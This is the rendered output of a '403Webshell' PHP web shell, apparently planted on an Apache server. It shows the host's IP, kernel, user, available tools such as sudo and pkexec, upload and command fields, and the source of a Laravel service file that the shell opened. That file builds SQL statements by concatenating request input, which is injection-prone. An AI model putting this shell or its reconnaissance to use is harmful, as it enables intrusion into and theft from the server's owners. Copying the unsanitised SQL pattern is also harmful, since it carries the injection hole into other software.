403Webshell
Server IP : 54.233.248.239  /  Your IP : 172.28.1.13
Web Server : Apache
System : Linux ip-172-28-29-189 6.5.0-1014-aws #14~22.04.1-Ubuntu SMP Thu Feb 15 15:27:06 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.2.34-43+ubuntu22.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/vinumday2_0/app/Services/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/vinumday2_0/app/Services/GeradorService.php
<?php 

namespace App\Services;

use Illuminate\Support\Facades\Log;
use Exception;
use DB;

use Illuminate\Http\Request;
use App\Http\Requests;
use App\Permission;
use App\Gerador;
use Sentinel;
use File;
use App\CampoModulo;
use App\CampoOption;
use App\FkModulo;
use Illuminate\Database\Schema\Blueprint;

class GeradorService {

    public static function createTable($input, $modulo){

        if($modulo->id_tipo_modulo != 3){
            $sqlColumns = '( id INT NOT NULL AUTO_INCREMENT, thumbnail_principal VARCHAR(255) DEFAULT NULL';
            if($modulo->id_tipo_modulo != 4){
                $sqlDescricaoColumns = '( id INT NOT NULL AUTO_INCREMENT, '.$modulo->nome_tabela.'_id INT (11) NOT NULL, locale VARCHAR (10) NOT NULL';
            }
        }else{
            $sqlColumns = '( id INT NOT NULL AUTO_INCREMENT';
        }

        if($modulo->id_tipo_modulo == 1 || $modulo->id_tipo_modulo == 4){
            $sqlColumns .= ', meta_keywords TEXT DEFAULT NULL, meta_descricao TEXT DEFAULT NULL, slug VARCHAR(255) NOT NULL';
        }
        if(isset($input['campo-nome']) && count($input['campo-nome'])){
            foreach ($input['campo-nome'] as $key => $nome_campo) {
                
                switch ($input['campo-tipo-campo'][$key]) {
                    case 'INT':
                    $tipo = 'INT';
                    $valor_tipo = '(11)';
                    break;
                    case 'I':
                    $tipo = 'VARCHAR';
                    $valor_tipo = '(255)';
                    break;
                    case 'N':
                    $tipo = 'DECIMAL';
                    $valor_tipo = '(15,2)';
                    break;
                    case 'T':
                    $tipo = 'TEXT';
                    $valor_tipo = '';
                    break;
                    case 'D':
                    $tipo = 'DATE';
                    $valor_tipo = '';
                    break;
                    case 'DT':
                    $tipo = 'DATETIME';
                    $valor_tipo = '';
                    break;
                    case 'TIME':
                    $tipo = 'TIME';
                    $valor_tipo = '';
                    break;
                    case 'S':
                    $tipo = 'TINYINT';
                    $valor_tipo = '';
                    break;
                    case 'SI':
                    $tipo = 'VARCHAR';
                    $valor_tipo = '(255)';
                    break;
                    case 'E':
                    $tipo = 'ENUM';
                    $valor_tipo = '(';
                    if (isset($input['key-enum'][$key])) {
                        foreach ($input['key-enum'][$key] as $keyEnum => $chave) {
                            if($keyEnum)
                            $valor_tipo .= ',';
                            $valor_tipo .= "'".$chave."'";
                        }
                    }
                    $valor_tipo .= ')';
                    break;
                }
                if(!$input['campo-translatable'][$key]){
                    $sqlColumns .= ', '.$nome_campo.' '.$tipo.' '.$valor_tipo.' DEFAULT NULL';
                }elseif($modulo->id_tipo_modulo != 3 && $modulo->id_tipo_modulo != 4){
                    $sqlDescricaoColumns .= ', '.$nome_campo.' '.$tipo.' '.$valor_tipo.' DEFAULT NULL';
                }
                

                $campoInfo = array(
                    'nome' => $nome_campo,
                    'valor_padrao' => $input['campo-valor-padrao'][$key],
                    'listagem' => $input['campo-listagem'][$key],
                    'required' => $input['campo-required'][$key],
                    'label' => $input['campo-label'][$key],
                    'required' => $input['campo-required'][$key],
                    'tipo_campo' => $input['campo-tipo-campo'][$key],
                    'translatable' => $input['campo-translatable'][$key],
                    'ordem' => $input['campo-ordem'][$key],
                    'id_modulo' => $modulo->id,
                );
                $id_campo_modulo = \App\CampoModulo::criar($campoInfo);

                if($input['campo-tipo-campo'][$key] == 'E'){
                    if(isset($input['key-enum'][$key])){
                        foreach ($input['key-enum'][$key] as $keyEnum => $chave) {
                            $campoOption = new CampoOption();
                            $campoOption->id_campo_modulo = $id_campo_modulo;
                            $campoOption->chave = $chave;
                            $campoOption->valor = $input['value-enum'][$key][$keyEnum];
                            $campoOption->save();
                        }
                    }
                }
            }
        }


        if(isset($input['fk-nome']) && count($input['fk-nome'])){
            foreach ($input['fk-nome'] as $key => $nome_fk) {
                $sqlColumns .= ', ';

                $sqlColumns .= $nome_fk.' INT (11) DEFAULT NULL';

                $fkModulo = new FkModulo();
                $fkModulo->nome = $nome_fk;
                $fkModulo->label = $input['fk-label'][$key];
                $fkModulo->id_modulo = $modulo->id;
                $fkModulo->id_modulo_relacionado = $input['fk-modulo'][$key];
                $fkModulo->id_campo_modulo_relacionado = $input['fk-campo-label'][$key];
                $fkModulo->ordem = $input['fk-ordem'][$key];
                $fkModulo->listagem = $input['fk-listagem'][$key];
                $fkModulo->save();
            }
        }


        $sqlColumns .= ', PRIMARY KEY (id)';

        $fks = FkModulo::where('id_modulo', $modulo->id)->get();
        foreach ($fks as $fk) {
            $sqlColumns .= ', FOREIGN KEY ('.$fk->nome.') REFERENCES '.$fk->moduloRelacionado->nome_tabela.'(id)';
        }

        $sqlColumns .= ')';

        DB::statement('SET foreign_key_checks = 0');

        DB::statement('CREATE TABLE '.$input['nome_tabela'].' '.$sqlColumns);

        
        if($modulo->id_tipo_modulo != 3){
            if($modulo->id_tipo_modulo != 4){
                $sqlDescricaoColumns .= ', PRIMARY KEY (id), FOREIGN KEY ('.$modulo->nome_tabela.'_id) REFERENCES '.$modulo->nome_tabela.' (id) ON DELETE CASCADE';
                $sqlDescricaoColumns .= ')';
                DB::statement('CREATE TABLE '.$input['nome_tabela'].'_descricao '.$sqlDescricaoColumns);
            }
            DB::statement('CREATE TABLE '.$input['nome_tabela'].'_imagens (id INT NOT NULL AUTO_INCREMENT, thumbnail_principal VARCHAR (255) DEFAULT NULL, id_'.$modulo->item_modulo.' INT(11) NOT NULL, PRIMARY KEY (id))');
        }

        if($modulo->id_tipo_modulo == 2){
            DB::statement('INSERT INTO '.$input['nome_tabela'].' (id) VALUES (1)');
        }

        DB::statement('SET foreign_key_checks = 1');

        return true;
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit